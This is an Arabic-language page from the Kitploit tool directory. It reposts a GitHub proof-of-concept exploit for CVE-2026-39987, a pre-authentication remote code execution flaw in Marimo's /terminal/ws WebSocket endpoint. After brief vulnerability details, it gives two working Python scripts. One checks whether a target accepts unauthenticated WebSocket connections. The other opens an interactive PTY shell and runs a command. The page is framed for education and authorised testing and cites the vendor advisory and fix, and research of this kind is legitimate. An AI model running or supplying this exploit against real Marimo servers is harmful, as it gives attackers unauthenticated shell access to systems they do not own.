Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-39987 — إثبات مفهوم لاستغلال تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في Marimo عبر نقطة نهاية WebSocket، مما يسمح للمهاجمين غير المصادقين بالحصول على قشرة PTY تفاعلية. | Kitploit
أدوات/GitHubGitHub/h3raklez/cve-2026-39987
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubh3raklez/cve-2026-39987

CVE-2026-39987

إثبات مفهوم لاستغلال تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في Marimo عبر نقطة نهاية WebSocket، مما يسمح للمهاجمين غير المصادقين بالحصول على قشرة PTY تفاعلية.

عرض المستودع
1منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-39987 — Marimo استغلال تنفيذ الأوامر عن بُعد قبل المصادقة

لأغراض التعليم والبحث الأمني المصرح به فقط.

الوصف

تنفيذ أوامر عن بُعد قبل المصادقة في Marimo <= 0.20.4.
يتجاوز نقطة نهاية WebSocket /terminal/ws التحقق من المصادقة، مما يسمح لمهاجم غير مصادق بالحصول على قشرة PTY تفاعلية كاملة عبر اتصال واحد.

  • CVSS v4.0: 9.3 (حرج)
  • CWE: CWE-306 (غياب المصادقة للوظائف الحرجة)
  • الإصدارات المتأثرة: <= 0.20.4
  • الإصدار المُصلَح: 0.23.0

المتطلبات

  • Python 3
  • websockets (pip install websockets)
  • وصول شبكي إلى المنفذ 2718 على الهدف

التحقق من نقطة النهاية

يتأكد من أن نقطة النهاية تقبل الاتصالات دون بيانات اعتماد:

root@kitploit:~
import socket, base64, os host = '127.0.0.1' port = 2718 path = '/terminal/ws' key = base64.b64encode(os.urandom(16)).decode() handshake = ( f'GET {path} HTTP/1.1\r\n' f'Host: {host}:{port}\r\n' f'Upgrade: websocket\r\n' f'Connection: Upgrade\r\n' f'Sec-WebSocket-Key: {key}\r\n' f'Sec-WebSocket-Version: 13\r\n' f'Sec-WebSocket-Protocol: terminal\r\n' f'\r\n' ) s = socket.socket() s.connect((host, port)) s.send(handshake.encode()) resp = s.recv(4096).decode(errors='ignore') print(resp[:200]) s.close()

النتيجة المتوقعة: HTTP/1.1 101 Switching Protocols


الاستغلال

root@kitploit:~
import asyncio, websockets, re

async def exploit(host, port):
    uri = f"ws://{host}:{port}/terminal/ws"
    async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
        print("[+] تم إنشاء الاتصال دون مصادقة")
        await asyncio.sleep(0.3)

        # قراءة شعار PTY الأولي
        try:
            msg = await asyncio.wait_for(ws.recv(), timeout=2)
            print("[شعار PTY]:", repr(msg))
        except asyncio.TimeoutError:
            pass

        # إرسال الأمر
        await ws.send("id\n")
        await asyncio.sleep(0.5)

        # قراءة الإطارات حتى انتهاء المهلة
        output = []
        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
                output.append(msg)
            except asyncio.TimeoutError:
                break

        clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
        print("[مخرجات RCE]:", clean)

asyncio.run(exploit("127.0.0.1", 2718))

المراجع

  • https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • https://nvd.nist.gov/vuln/detail/CVE-2026-39987
  • https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
  • https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39987.yaml

إخلاء المسؤولية

تُقدَّم هذه الأداة لأغراض تعليمية وللاختبارات الأمنية المصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها يُعد غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام.

تنزيل الأداة